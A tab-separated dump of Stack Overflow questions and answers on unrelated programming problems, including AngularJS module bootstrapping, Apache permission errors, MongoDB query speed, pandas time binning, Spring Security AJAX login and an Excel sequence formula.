22898036	0	 <p><em>You can use <code>angular.bootstrap()</code> directly...</em> the problem is you lose the benefits of directives.</p> <p>First you need to get a reference to the HTML element in order to bootstrap it, which means your code is now coupled to your HTML.</p> <p>Secondly the association between the two is not as apparent. With <code>ngApp</code> you can clearly see what HTML is associated with what module and you know where to look for that information. But <code>angular.bootstrap()</code> could be invoked from anywhere in your code.</p> <p>If you are going to do it at all the best way would be by using a directive. Which is what I did. It's called <code>ngModule</code>. Here is what your code would look like using it:</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;script src="angular.js"&gt;&lt;/script&gt; &lt;script src="angular.ng-modules.js"&gt;&lt;/script&gt; &lt;script&gt; var moduleA = angular.module("MyModuleA", []); moduleA.controller("MyControllerA", function($scope) { $scope.name = "Bob A"; }); var moduleB = angular.module("MyModuleB", []); moduleB.controller("MyControllerB", function($scope) { $scope.name = "Steve B"; }); &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;div ng-modules="MyModuleA, MyModuleB"&gt; &lt;h1&gt;Module A, B&lt;/h1&gt; &lt;div ng-controller="MyControllerA"&gt; {{name}} &lt;/div&gt; &lt;div ng-controller="MyControllerB"&gt; {{name}} &lt;/div&gt; &lt;/div&gt; &lt;div ng-module="MyModuleB"&gt; &lt;h1&gt;Just Module B&lt;/h1&gt; &lt;div ng-controller="MyControllerB"&gt; {{name}} &lt;/div&gt; &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>You can get the source code for it at:</p> <p><a href="http://www.simplygoodcode.com/2014/04/angularjs-getting-around-ngapp-limitations-with-ngmodule/">http://www.simplygoodcode.com/2014/04/angularjs-getting-around-ngapp-limitations-with-ngmodule/</a></p> <p>It's implemented in the same way as <code>ngApp</code>. It simply calls <code>angular.bootstrap()</code> behind the scenes.</p>
29003856	0	Why I get Forbidden error <p>I have created a custom bitnami app at:</p> <pre><code>/opt/redmine-2.6.0-3/apps/widgets </code></pre> <p>but, when I try to access the app from web browser:</p> <pre><code>http://192.168.10.18:8080/widgets/ </code></pre> <p>I get error:</p> <pre><code>Forbidden You don't have permission to access /widgets/ on this server. </code></pre> <p><code>httpd-app.conf</code> is</p> <pre><code>&lt;Directory /opt/redmine-2.6.0-3/apps/widgets/htdocs&gt; Options +FollowSymLinks AllowOverride All Allow from all Require all granted &lt;/Directory&gt; </code></pre> <p><code>httpd-prefix.conf</code> is:</p> <pre><code>Alias /widgets/ "/opt/redmine-2.6.0-3/apps/widgets/htdocs/" Alias /widgets "/opt/redmine-2.6.0-3/apps/widgets/htdocs" Include "/opt/redmine-2.6.0-3/apps/widgets/conf/httpd-app.conf" </code></pre> <p>Any one can help?</p> <p><strong>Edit</strong></p> <p>I've checked the widgets folder permission settings:</p> <pre><code>$ ls -l directory drwxr-xr-x 6 root daemon 4096 Jan 5 11:23 redmine drwxr-xr-x 6 root daemon 4096 Mar 11 17:20 widgets /apps/widgets$ ls -l drwxr-xr-x 2 root root 4096 Mar 12 09:09 conf drwxr-xr-x 5 root daemon 4096 Mar 11 17:20 htdocs /apps/redmine$ ls -l drwxr-xr-x 3 root daemon 4096 Jan 5 11:21 conf drwxrwxr-x 19 root daemon 4096 Jan 20 12:15 htdocs </code></pre> <p>Can some one explain please? why redmine works while widgets is forbidden?</p>
10542734	0	NSBundle Not Working <p>NSBundle outputs the old name of my app: "/var/mobile/Applications/0E1638D2-5B9C-4A1F-8ED2-5F8ADF55D3F6/distributedLCA.app" but I renamed the project but it still prints out that old .app name. Is there a way to fix this?</p> <p>My code:</p> <pre><code>[[NSBundle mainBundle] resourcePath] </code></pre>
13192074	0	ehcache - any solution to access expired element content? <p>I am using ehcache to cache data, usually 24h expiration time. I want to take element individual actions at the time an element expires. Therefore i neee the element content. I registered a CacheEventListener in order to get a notification (notifyElementExpired) in case of element expiration. Unfortunately at notification time only the key is known - content is already discarded, which is kind of painful!</p> <p>Any solution to access element content at expiration time? </p>
35331518	0	 <p>This is a non-standard GCC extension. Many other compilers like Visual C++ don't support <a href="https://en.wikipedia.org/wiki/Variable-length_array" rel="nofollow">VLA</a>.</p> <p><a href="http://rextester.com/WPX55597" rel="nofollow">LIVE DEMO</a></p>
20859233	0	How to draw ImageView on ImageView? <p>I have an ImageView and I would like to draw dinamically another images on my base ImageView.</p> <p>In this image for example I have a tree and I would like to draw image of people</p> <p>Any suggestions to start?</p> <p><img src="https://i.stack.imgur.com/XTbpy.jpg" alt="enter image description here"></p> <p>yes my problem is like @Tsunaze say:</p> <p>I have a tree, and I want to put heads on it,</p>
8016549	0	ORDER BY timestamp with NULLs between future and past <p>I would like to order SQL results by a timestamp field in descending order with newest entries first. However, I have certain rows that are blank or contain zeros. How can I sandwich these result in between future and past rows? Can this be done with CASEs?</p> <pre><code>SELECT * FROM table ORDER BY when DESC </code></pre> <p>EDIT: Thanks to all the responses. Just so everyone knows, I went with MySQL's IFNULL, i.e.</p> <pre><code>SELECT * FROM table ORDER BY IFNULL(when,UNIX_TIMESTAMP()) DESC </code></pre> <p>This was the simplest approach, where if when contained NULL the select query replaced it with the current unix time. Note that I updated my DB and replaced all 0s with NULL values.</p>
22453289	0	Java public class with public constructor with non-public parameter. Why? <p>Java allows to define the following pair of classes.</p> <pre><code>class Class1 { ... } public Class2 { public Class2(Class1 c1) { ... } } </code></pre> <p>Why Class2 has public constructor if I cannot instantiate it because Class1 is not accessible?</p> <p>For the record, there are no public classes that inherit from Class1.</p>
28351572	0	 <p>Call <code>onchange()</code> method on the first element <code>onblur</code></p> <pre><code>&lt;input type="text" id="field_1" onblur="onchange()"/&gt; </code></pre>
21033349	0	 <p>This is a bit old but I'm trying to find the same myself. The best I can find are:</p> <p><a href="http://www.mapquestapi.com/search/">http://www.mapquestapi.com/search/</a></p> <p>Mapquest search has a data set which allows querying for tourist attractions. However I cannot find a way to sort the results by importance. Radius search returns results in order of proximity and I have no idea what order a rectangle search is in.</p> <p><a href="https://developers.google.com/places/documentation/search">https://developers.google.com/places/documentation/search</a></p> <p>Google places allows sorting by "prominence". This actually returns a list that is reasonably representative of the main places a tourist might want to see. You can filter out certain types to refine this.</p> <p><a href="http://en.wikipedia.org/wiki/Category:Visitor_attractions_in_Manhattan">http://en.wikipedia.org/wiki/Category:Visitor_attractions_in_Manhattan</a></p> <p>Wikipedia has categories of "visitor attractions in_<strong>_</strong>" for many cities. Being crowdsourced, there are lots of issues. For example, the Empire State Building which is one of the main attractions in Manhattan is not on this list, but some random little coffee shop Everyman Espresso is.</p> <p><a href="http://wikitravel.org/en/New_York_City#See">http://wikitravel.org/en/New_York_City#See</a></p> <p>Wikitravel has a "see" section for most cities. There's no structure to it, but most of the attractions are bold, although this example shows a lot of other things that are bold like various passes.</p> <p><a href="http://www.geonames.org/export/wikipedia-webservice.html">http://www.geonames.org/export/wikipedia-webservice.html</a></p> <p>Geonames has indexed all the geotagged Wikipedia articles and has a service to search it. It has a "rank" parameter, which could somewhat indicate the relative interestingness for tourists.</p>
31460945	0	 <p>So, after some chat, here is my solution, hope this help: I made 2 <code>.html</code> files, <code>a.html</code> and <code>b.html</code>.</p> <p>Content of <code>a.html</code>:</p> <pre><code>&lt;div&gt;&lt;/div&gt; &lt;script&gt; $.getScript("main.js", function() { $("div").load("b.html #items"); }); &lt;/script&gt; </code></pre> <p>And <code>b.html</code>:</p> <pre><code>&lt;body&gt; &lt;script src="main.js"&gt;&lt;/script&gt; &lt;/body&gt; </code></pre> <p>Also content of <code>main.js</code> file:</p> <pre><code>$('&lt;div&gt;&lt;/div&gt;', { text: 'I am alive !!!', id: '#items' }).appendTo('body'); </code></pre> <p>and when I open the <code>a.html</code>, I can see <code>I am alive !!!</code>.</p> <p><strong>Edit</strong>:</p> <p>Please note, I didn't add link of <code>main.js</code> to <code>a.html</code>.</p> <p><strong>UPDATE</strong>, same result with this code:</p> <pre><code>$.getScript("main.js").done(function() { load(); }).fail(function(jqxhr, settings, exception) { alert("Triggered ajaxError handler."); }); function load() { $("#Result").load("b.html #items", function(response, status, xhr) { if (status == "error") { var msg = "error: "; $("#error").html(msg + xhr.status + " " + xhr.statusText); } }); }; </code></pre>
19068113	0	The same jquery version doesn't work if there is on Google Apis <p>I'm very confused, so if I put this in functions.php, on Wordpress, it works</p> <pre><code>function modify_jquery() { if (!is_admin()) { // comment out the next two lines to load the local copy of jQuery wp_deregister_script('jquery'); wp_register_script('jquery', 'http://sitgesgroup.com/wp-content/themes/toolbox/assets/js/jquery-1.9.0.min.js', false, '1.9.0'); wp_enqueue_script('jquery'); } } add_action('init', 'modify_jquery'); </code></pre> <p>BUT,</p> <p>if I put this it breaks</p> <pre><code>http://ajax.googleapis.com/ajax/libs/jquery/1.9.0/jquery.min.jsfunction modify_jquery() { if (!is_admin()) { // comment out the next two lines to load the local copy of jQuery wp_deregister_script('jquery'); wp_register_script('jquery', 'http://ajax.googleapis.com/ajax/libs/jquery/1.9.0/jquery.min.js', false, '1.9.0'); wp_enqueue_script('jquery'); } } add_action('init', 'modify_jquery'); </code></pre> <p>Why if these are the same file?</p> <p>Thanks!</p>
1058760	0	Adding multiple UIButtons to an UIView <p>I've added some buttons to an UIView (via addSubview) programmatically. However, they appear as overlays (so that I always see the last button only). How do I add new buttons below existing buttons?</p> <p>Regards</p>
18729964	0	 <p>First verify it holds for n = 1.</p> <p>Then assume it is true for n = x ( the sum of the first x squares ) and then try to compute the sum of the the first x + 1 squares. You know the result for the first x, you just add the last square to that sum. From there it should be easy.</p> <p>And you posted on the wrong site.</p>
15886536	0	intercept j_security_check <p>when doing login in my login form which is based on j_security_check all ok. in that case I see that the path in JSESSIONID cookie has a value from the URL. but when a nother login page construct dynamic form (it is doing submit to the first login page with /j_security_check at the end of the url) to do the login it fails and I see JSESSIONID cookie has an empty value in the path.</p> <p>when doing login/logout to the first page so the JSESSIONID still exist the login using the second login page works fine.</p> <p>so I thought maybe possible to modify something in the j_security_check process to ok the empty path.</p> <p>thanks.</p>
19733056	0	 <p>Use <code>sizeWithFont:constrainedToSize:</code> to get size of string</p> <p>If you're on iOS7 use <code>boundingRectWithSize:options:attributes:context:</code> instead (<code>sizeWithFont:constrainedToSize:</code> is deprecated on iOS7)</p>
34916790	0	Detecting shake gesture by multiple view controllers <p>I need to detect shake gesture in iOS. I have done the usual stuff and it works perfectly fine. The thing is I have multiple view controllers in <code>UITabBarController</code> and I wish each of them to detect the shake gesture. </p> <p>When shaking in any of the view controller , I get switched to a particular tab. The problem is if I shake in one view controller and try to shake in other controller the gesture is not detected unless some action is performed in that controller.</p> <p>I know I need to set <code>becomeFirstResponder</code> but I need to know how can this property be set to the current tab of the <code>UITabBarController</code> so that the shake gesture is recognised by all tabs.</p>
3370831	0	 <p>You can do this with <a href="http://drupal.org/project/content_taxonomy" rel="nofollow noreferrer">Content Taxonomy</a>'s Content Taxonomy Options module. Add a new Content Taxonomy field, and use the Select widget. In the field settings, under the <em>Advanced settings for hierarchical vocabularies</em> field group, select the Parent Term you want to use for that field.</p>
36285404	0	 <p>I was using gedit and had the setting wrong so it was adding tabs and not spaces so although it looked right it didn't work. Just changed it to adding spaces and it worked, not sure if this is supposed to happen and not even sure it is what went on but never the less I got it working.</p> <p>Thanks</p>
26644525	0	 <p>It's going to depend on a lot of things, here's how you can find out. GNU Binutils comes with a utility <code>objdump</code> that gives all sorts of details on what's in a binary.</p> <p>On my system (an ARM Chromebook), compiling test.c:</p> <pre><code>#include &lt;stdio.h&gt; int main(void) { printf("Hello, world!\n"); } </code></pre> <p>with <code>gcc test.c -o test</code> and then running <code>objdump -R test</code> gives</p> <pre><code>test: file format elf32-littlearm DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 000105e4 R_ARM_GLOB_DAT __gmon_start__ 000105d4 R_ARM_JUMP_SLOT puts 000105d8 R_ARM_JUMP_SLOT __libc_start_main 000105dc R_ARM_JUMP_SLOT __gmon_start__ 000105e0 R_ARM_JUMP_SLOT abort </code></pre> <p>These are the dynamic relocation entries that are in the file, all the stuff that will be linked in from libraries external to the binary. Here it seems that the <code>printf</code> has been entirely optimized out, since it is only giving a constant string, and thus <code>puts</code> is sufficient. If we modify this to</p> <pre><code>printf("Hello world #%d\n", 1); </code></pre> <p>then we get the expected</p> <pre><code>000105e0 R_ARM_JUMP_SLOT printf </code></pre> <p>To get <code>memcpy</code> to be explicitly linked to, we have to prevent <code>gcc</code> from using its own builtin version with <code>-fno-buildin-memcpy</code>.</p>
16615945	0	 <p>The <a href="http://docs.python.org/2/reference/expressions.html#is" rel="nofollow">Python <code>is</code> operator</a> checks for <em>object identity</em>, not object value. The two integers must refer to the same actual object internally for is to return true.</p> <p>This will return true for "small" integers due to an internal cache maintained by Python, but two numbers with the same value will not return true if compared with <code>is</code> in general.</p>
35969510	0	Mongo query is slow using C# driver but fast using mongo shell <p>I got very weird problem with MongoDB C# driver. I have a very simple query and I have a correct index for that query. When I run the query using MongoChef (and using the shell) I get the results in 22ms But when my app runs the same query it takes about 2.5mins to return answer (this is not due to network problems).</p> <p>I have checked in db.currentOp() and I saw that the op is indeed taking about 2.5 mins to finish and the query is the same as the one I ran manually and the execution plan do use the index. Any idea? Thanks</p> <p>P.S The problem is not with the size of the result set! I have tested with results set that have 0 results, 21 results and 600,000 results and in all of them the results was horrible! (above 2m for only 21 results which in the shell takes no time!)</p> <pre><code>{ "inprog": [ { "opid" : 53214, "active" : true, "secs_running" : 174, "microsecs_running" : 174085497, "op" : query, "ns" : db.collection, "query" : {{$query : {ParentId: 55, IsDeleted : false}}, {$orderby : {_id : -1}}}, "planSummary": IXSCAN {_id : 1}, "client" : ip:port, "desc" : conn121254, "threadId" : 0x1234567, "connectionId" : 1254651, "locks" : { "Global" : r, "MMAPV1Journal" : r, "Database" : r, "Collection" : R }, "waitingForLock" : false, "numYields" : 46963, "lockStats" : { "Global" : {acquireCount : { r : 93928}}, "MMAPV1Journal" : {acquireCount : { r : 46964} , acquireWaitCount : { r : 2 }, timeAcquiringMicros: { r : 2 } }, "Database" : {acquireCount : { r : 46964}}, "Collection" : {acquireCount : { r : 46964}} } } ] } </code></pre> <p>And the query that is running great on the shell (22ms)</p> <pre><code>db.collection.find({ParentId : 55, IsDeleted : false}).sort({_id : 1}) </code></pre> <p>C# code example :</p> <pre><code>MongoClient client = new MongoClient("mongodb://MongosServer01:27017,MongosServer02:27017,MongosServer03:27017,MongosServer04:27017"); var collection = client.GetServer().GetDatabase("db").GetCollection&lt;BsonDocument&gt;("collection"); var cursor = collection.Find(Query.And(Query.EQ("ParentId" , 55),Query.EQ("IsDeleted" , false))).SetSortOrder("_id").SetLimit(20); </code></pre>
9376434	0	 <p>I assume that <code>settings.widgetSelector</code> selects the top element of a widget, that is, the table or a Telerik wrapper around it. I leave your other code intact:</p> <pre><code> ... if(confirm('This widget will be removed, ok?')) { // reference to current widget wrapper var widget = $(this).parents(settings.widgetSelector); // disable and select (all) contained checkboxes widget.find('input[type=checkbox]').prop({disabled: true, checked: true});​​​​​​​​​​​​​​ // animate and remove widget... widget.animate({ opacity: 0 ... </code></pre> <p>Note that this solution will disable and select <em>all</em> contained checkboxes in a widget. If you have multiple checkboxes and only need to select a single one, give it a class (e.g. <code>myCheckbox</code>) and change the selector to</p> <pre><code> widget.find('input[type=checkbox].myCheckbox').attr({disabled: true, checked: true});​​​​​​​​​​​​​​ </code></pre> <p>You should not use the existing checkbox ID if you have more than one widget, as element IDs should be unique for the whole document.</p> <p>UPDATE:</p> <p>Turned out that I misunderstood the problem: the checkboxes to be disabled are not inside the mentioned widgets and the actual task is to </p> <blockquote> <p>…disable the input type="checkbox" if the value of the input type ="hidden" that exist in the same is equal to the id of the li (widget).</p> </blockquote> <p>(See discussion in comments.)</p> <p>This could be a solution:</p> <pre><code>... $(settings.widgetSelector, $(settings.columns)).each(function () { var widgetId = this.id; var thisWidgetSettings = iNettuts.getWidgetSettings(widgetId); if (thisWidgetSettings.removable) { $('&lt;a href="#" class="remove"&gt;CLOSE&lt;/a&gt;').mousedown(function (e) { e.stopPropagation(); }).click(function () { if(confirm('This widget will be removed, ok?')) { // Disable checkboxes which have a sibling hidden input field with value equal to widgetId $(​'table tr input[type=hidden]').filter(function() { return $(this).val()​​​​​ == widgetId; }).siblings('input[type=checkbox]').prop({disabled:true, checked: true}); // animate and remove widget... $(this).parents(settings.widgetSelector).animate({ opacity: 0 ... </code></pre>
19893087	0	Create Random User algorithm in c# <p>i want to create users based on the number of photos in a folder.</p> <p>for example:</p> <pre><code>user.1 random(4)[photos1-4] dosomething(user.1) user.2 random(6)[photos5-10] dosomething(user.2) user.3 random(3)[photos11-13] dosomething(user.3) user.last [photos.leftover] dosomething(user.last) </code></pre> <p>ideas on how to do this?</p>
33551881	1	Pandas, check if timestamp value exists in resampled 30 min time bin of datetimeindex <p>I have created a resampled data frame (DF1) in pandas with a <code>datetimeindex</code>. I have a separate dataframe (DF2) with a <code>datetimeindex</code> and <code>time</code> column. If an instance of <code>time</code> from DF2 falls within the 30 min bins of <code>datetimeindex</code> in DF1. I want to mark each instance of <code>time</code> in DF2 with the appropriate <code>speed</code> from the 30 min bin in DF1. </p> <p>DF1</p> <pre><code> boat_id speed time 2015-01-13 09:00:00 28.000000 0.000000 2015-01-13 09:30:00 28.000000 0.723503 2015-01-13 10:00:00 28.000000 2.239399 </code></pre> <p>DF2</p> <pre><code> id boat_id time state time 2015-01-18 16:09:03 319437 28 2015-01-18 16:09:03 2 2015-01-18 16:18:43 319451 28 2015-01-18 16:18:43 0 2015-03-01 09:39:51 507108 31 2015-03-01 09:39:51 1 2015-03-01 09:40:58 507109 31 2015-03-01 09:40:58 0 </code></pre> <p>Desired Result</p> <pre><code> id boat_id time state speed time 2015-01-18 16:09:03 319437 28 2015-01-18 16:09:03 2 nan 2015-01-18 16:18:43 319451 28 2015-01-18 16:18:43 0 nan 2015-03-01 09:39:51 507108 31 2015-03-01 09:39:51 1 2.239399 2015-03-01 09:40:58 507109 31 2015-03-01 09:40:58 0 2.239399 </code></pre> <p>I created this script to try and do this but I think it's failing because <code>datetimeindex</code> of DF1 is immutable and so my <code>timedelta</code> request doesn't create a start point for the chunk. One thought I had was if it would be possible to copy the <code>datetimeindex</code> of DF1 into a new column where the objects are mutable but I haven't managed it yet so am not 100% sure of the logic. I'm happy to tinker but at the moment i've been stalled for a while so was hoping someone else might have a few ideas. Thanks in advance.</p> <pre><code>for row in DF1.iterrows(): for dfrow in DF2.iterrows(): if dfrow[0] &gt; row[0] - dt.timedelta(minutes=30) and dfrow[0] &lt; row[0]: df['test'] = row[1] </code></pre>
29376047	0	 <p>Spring Session does not currently support HttpSessionListener. See <a href="https://github.com/spring-projects/spring-session/issues/4" rel="nofollow">spring-session/gh-4</a></p> <p>You can listen to <a href="http://docs.spring.io/spring-session/docs/current/reference/html5/#api-redisoperationssessionrepository-sessiondestroyedevent" rel="nofollow">SessionDestroyedEvent's</a></p> <p>They differ from the HttpSessionDestroyedEvent in that Spring Security will fire the HttpSessionDestroyedEvent based on the HttpSessionEventPublisher (an implementation of HttpSessonListener). Thus HttpSessionDestroyedEvent will not get fired when using Spring Session since there is no support for HttpSessionListener.</p>
25536715	0	 <p><strong><code>http://your-jenkins-server/configure</code></strong></p> <p><img src="https://i.stack.imgur.com/QO967.png" alt="enter image description here"></p> <p>A picture is worth a thousand words</p>
35967181	0	Equivalent to DirectInput for Windows Store Apps? <p>I am building a game for Windows 10 that utilizes input to draw on the screen, but the fidelity is lacking. It is not accurate enough to draw a straight line if you draw fast. That's when I thought of DirectInput, which I've used in C++ games for Windows 7, but that API is not available for Store Apps... is there an equivalent, which will increase my accuracy for the drawing?</p>
39872581	0	Form is not sending email? <p>I have created a form that appears when a button is pressed. However, when the final submit button is pressed the final email is not sent. Where are the errors in my code?</p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>// JavaScript Document // Validating Empty Field function check_empty() { if (document.getElementById('name').value == "" || document.getElementById('email').value == "") { alert("Please fill out all fields."); } else { alert("Order Successful!"); } } //Function To Display Popup function div_show1() { document.getElementById("ordertype").innerHTML = "$400 Website Order"; document.getElementById('abc').style.display = "block"; } function div_show2() { document.getElementById("ordertype").innerHTML = "$500 Website Order"; document.getElementById('abc').style.display = "block"; } function div_show3() { document.getElementById("ordertype").innerHTML = "$700 Website Order"; document.getElementById('abc').style.display = "block"; } //Function to Hide Popup function div_hide() { document.getElementById('abc').style.display = "none"; }</code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>@charset "utf-8"; /* CSS Document */ #abc { width: 100%; height: 100%; opacity: 0.97; top: 0; left: 0; display: none; position: fixed; background-color: #313131; overflow: auto; z-index: 9999999; } img#close { position: absolute; right: -14px; top: -14px; cursor: pointer; } div#popupContact { position: absolute; left: 50%; top: 17%; margin-left: -202px; font-family: coolfont; } form { max-width: 300px; min-width: 250px; padding: 10px 50px; border: 2px solid gray; border-radius: 10px; font-family: coolfont; background-color: #fff; } p { margin-top: 30px; } h2 { background-color: #FEFFED; padding: 20px 35px; margin: -10px -50px; text-align: center; border-radius: 10px 10px 0 0; font-family: info; } hr { margin: 10px -50px; border: 0; border-top: 1px solid #ccc; } input[type=text] { width: 82%; padding: 10px; margin-top: 30px; border: 1px solid #ccc; padding-right: 40px; font-size: 16px; font-family: coolfont; } textarea { width: 82%; height: 95px; padding: 10px; resize: none; margin-top: 30px; border: 1px solid #ccc; padding-right: 40px; font-size: 16px; font-family: coolfont; margin-bottom: 30px; } #submit { text-decoration: none; width: 100%; text-align: center; display: block; background-color: #FFBC00; color: #fff; border: 1px solid #FFCB00; padding: 10px 0; font-size: 20px; cursor: pointer; border-radius: 5px; } @media only screen and (max-width: 457px) { form { max-width: 200px; min-width: 150px; padding: 10px 50px; margin-left: 50px; } input[type=text] { padding-right: 30px; } textarea { padding-right: 30px; } } @media only screen and (max-width: 365px) { form { max-width: 140px; min-width: 90px; padding: 10px 50px; margin-left: 80px; } input[type=text] { padding-right: 10px; } textarea { padding-right: 10px; } }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;head&gt; &lt;script src="https://code.jquery.com/jquery-1.12.3.min.js"&gt;&lt;/script&gt; &lt;script src="http://ajax.googleapis.com/ajax/libs/jquery/2.1.0/jquery.min.js"&gt;&lt;/script&gt; &lt;link href="elements.css" rel="stylesheet"&gt; &lt;script src="my_js.js"&gt;&lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;a class="button" id="popup" onclick="div_show1()"&gt;ORDER NOW&lt;/a&gt; &lt;a class="button" id="popup" onclick="div_show2()"&gt;ORDER NOW&lt;/a&gt; &lt;a class="button" id="popup" onclick="div_show3()"&gt;ORDER NOW&lt;/a&gt; &lt;div id="abc"&gt; &lt;!-- Popup Div Starts Here --&gt; &lt;div id="popupContact"&gt; &lt;!-- Contact Us Form --&gt; &lt;form action="form.php" id="form" method="post" name="form" enctype="multipart/form-data"&gt; &lt;img id="close" src="images/redcross.png" width="50" onclick="div_hide()"&gt; &lt;h2 id="ordertype" name="ordertype"&gt;$400 Website Order&lt;/h2&gt; &lt;hr&gt; &lt;input id="name" name="name" placeholder="Name" type="text"&gt; &lt;input id="email" name="email" placeholder="Email" type="text"&gt; &lt;textarea id="msg" name="message" placeholder="Comments/Questions"&gt;&lt;/textarea&gt; &lt;a href="javascript:%20check_empty()" id="submit"&gt;Order&lt;/a&gt; &lt;/form&gt; &lt;/div&gt; &lt;!-- Popup Div Ends Here --&gt; &lt;/div&gt; &lt;/body&gt;</code></pre> </div> </div> </p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>&lt;? php $name = $_POST['name']; $email = $_POST['email']; $message = $_POST['message']; $from = '#'; $to = 'sample@gmail.com'; $subject = $ordertype; $body = "From: ".$name. "\r\n E-Mail: ".$email. "\r\n Message: \r\n".$message; if (isset($_POST['submit'])) { if (mail($to, $subject, $body, $from)) { echo '&lt;script&gt; alert("Message successfully sent."); &lt;/script&gt;'; } else { echo '&lt;p&gt;Something went wrong, go back and try again!&lt;/p&gt;'; } } ?&gt;</code></pre> </div> </div> </p> <p>The last code snippet attached is the form.php file, which I have tried to link to within the html.</p>
37287933	0	How to bring in string from left of numbers in Excel <p>I'm trying to format a column based off of another (let's say column B2). The column contains a value like "ABC011" and I need to bring in just the letters "ABC".</p> <p>For another column I also need to bring in just the numbers "011" but without the trailing zeroes (although I imagine that if I can get the solution for the first question I'll be able to figure out the second).</p> <p>Thanks in advance.</p> <p>EDIT: The length of the characters can change but the numbers are USUALLY 2 or more digits as well as the letters.</p>
28720601	0	Error in Integrated Weblogic 12C in SOA Suite - Derby server start and stop immediately <p>I need help to solve this problem:</p> <p>I've already installed Oracle SOA Suite 12c using the developer pack (from oracle official downloads). When I try to start integrated weblogic server (in Jdeveloper menu Run) it starts and shows listening on the port but immediately stops with following error:</p> <pre><code>Could: Not find or load main class Stopping Derby Server Derby Server Stopped </code></pre> <p>My config:</p> <ul> <li>Windows 2003 server Enterprise edition x64</li> <li>Jre 7</li> <li>Jdk 1.7 x64</li> <li>Oracle soa suite 12c</li> </ul>
20613977	0	 <p>First you don't need a controller, spring security handles all this for you. So drop the controller. </p> <p>The current problem is due to your JSON based post. This is handled by the normal filter which handles login, but it doesn't see a <code>j_username</code> and <code>j_password</code> field and as such will redirect (the 302) to the login page (in your case <code>/shop/home.html</code>) asking for those fields. </p> <p>Basically you are posting the data as JSON whereas it simply should be just an ajaxified form post. This allows you to write a simple <code>AuthenticationSuccessHandler</code> which simply returns a 401 or a 200 status-code (and maybe a body) when things are ok. </p> <p>Changing your ajax submit to something like this should make things work.</p> <pre><code>var data = $(this).serializeObject(); $.ajax({ 'type': $(this).action, 'url': $(this).target, 'data': data }): </code></pre> <p>This should create a ajax form post. Might be that you need a call to <code>preventDefault()</code> in the surrounding method to stop the form from actual posting. </p>
17738649	0	 <p>Are you looking for this?</p> <pre><code>SELECT A, B, D, E, COALESCE(C, F) M FROM relation1 r1 FULL JOIN relation2 r2 ON r1.C = r2.F </code></pre> <p>Assuming relation1:</p> <pre> | A | B | C | --------------- | a1 | b1 | 1 | | a2 | b2 | 2 | </pre> <p>and relation2:</p> <pre> | D | E | F | --------------- | d1 | e1 | 1 | | d3 | e3 | 3 | </pre> <p>Output will be</p> <pre> | A | B | D | E | M | ----------------------------------------- | a1 | b1 | d1 | e1 | 1 | | a2 | b2 | (null) | (null) | 2 | | (null) | (null) | d3 | e3 | 3 | </pre> <p>Here is <strong><a href="http://sqlfiddle.com/#!1/93434/2" rel="nofollow">SQLFiddle</a></strong> demo</p>
22237593	0	 <p>Your database should have a method for updating the database</p> <pre><code>@Override public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) { // do something to upgrade } </code></pre> <p>But that isn't called by default, but when your app first tries to open the database. At that point, you should be to architect a dialog that instructs your user and either do the upgrade or not.</p> <p>It's also possible to alter the user's database within that onUpgrade method. For example, a string like this:</p> <pre><code>private static final String ALTER_TABLE3 = "ALTER TABLE exercises ADD COLUMN exscore REAL DEFAULT 0.0"; </code></pre> <p>could be used in onUpgrade like so:</p> <pre><code>if (oldVersion == 5) { db.execSQL(ALTER_TABLE3); // now copy all of the values from integer to real setUpMoveRoutine = true; } </code></pre> <p>I did an upgrade from v4 to v5 that needed new elements within a table. And then called a method to move data as needed. </p> <p>You should be able to manage just about any changes in your database</p>
4763653	0	 <p>you can use this</p> <pre><code>@Override public void paintComponents(Graphics g) { super.paintComponents(g); g.drawString("Hello", 0, 0); } </code></pre> <p>or use jTextField</p> <pre><code> jTextField1.setText("Hello"); </code></pre>
20840437	0	 <p>Use the below query:</p> <pre><code>var query = from e in context.Table orderby SqlFunctions.Rand(1) select e).Take(10); </code></pre> <p>And hope your MySql Data Providor cannot be recognized by VS.</p> <p>I know that Vs doesn't support MySQL to LINQ directly.. So maybe you can use something like.</p> <p>And perhpas you need to download this kind of data providor and have a try </p> <p>download them and have a try:</p> <ol> <li><a href="http://www.alinq.org/download/ALinq_V2.5.8.msi" rel="nofollow">ALinq</a>.</li> <li><a href="http://www.alinq.org/download/ORDesigner_V2.4.1_VS2008.msi" rel="nofollow">ORDesigner_VS2008</a> or <a href="http://www.alinq.org/download/ORDesigner_V2.4.1_VS2010.msi" rel="nofollow">ORDesigner_VS2010</a>.</li> <li><a href="http://www.alinq.org/download/mysql-connector-net-6.3.0.zip" rel="nofollow"> MySQL ADO.NET Data Provider</a> (If installed, no need to reinstall).</li> </ol> <hr> <hr> <p>And If you still fail, this can be right Suppose <strong>Students</strong> is a model from Student table</p> <pre><code>using (ConsoleApplications.DataClasses1DataContext dd = new ConsoleApplications.DataClasses1DataContext()) { var result = (from stu in dd.Students.AsEnumerable() select new { stu.StudentName, RandomId = new Random(DateTime.Now.Millisecond).Next(dd.Students.Count()) }).OrderBy(s =&gt; s.RandomId); foreach (var item in result) { Console.WriteLine(item.StudentName); } } </code></pre>
39085751	0	Inserting a value into a sequential series and then continuing the series <p>Example data series has the sequence seeded with 1 as the initial value, and a step of 1. There is a calculated value that needs to be inserted in the series, in this case it is 3.5</p> <p>Desired output:</p> <pre><code>1 2 3 3.5 4 5 </code></pre> <p>I am avoiding VBA, and I am avoiding sorts. I am trying to do this with an IF formula. </p> <p>So far I have tried the following A2 copied down:</p> <pre><code>=IF(A1+1&lt;3.5,A1+1,IF(A1&lt;&gt;3.5,3.5,A1+1)) </code></pre> <p>Seed value may be any real number. Step value may be any real number.</p>
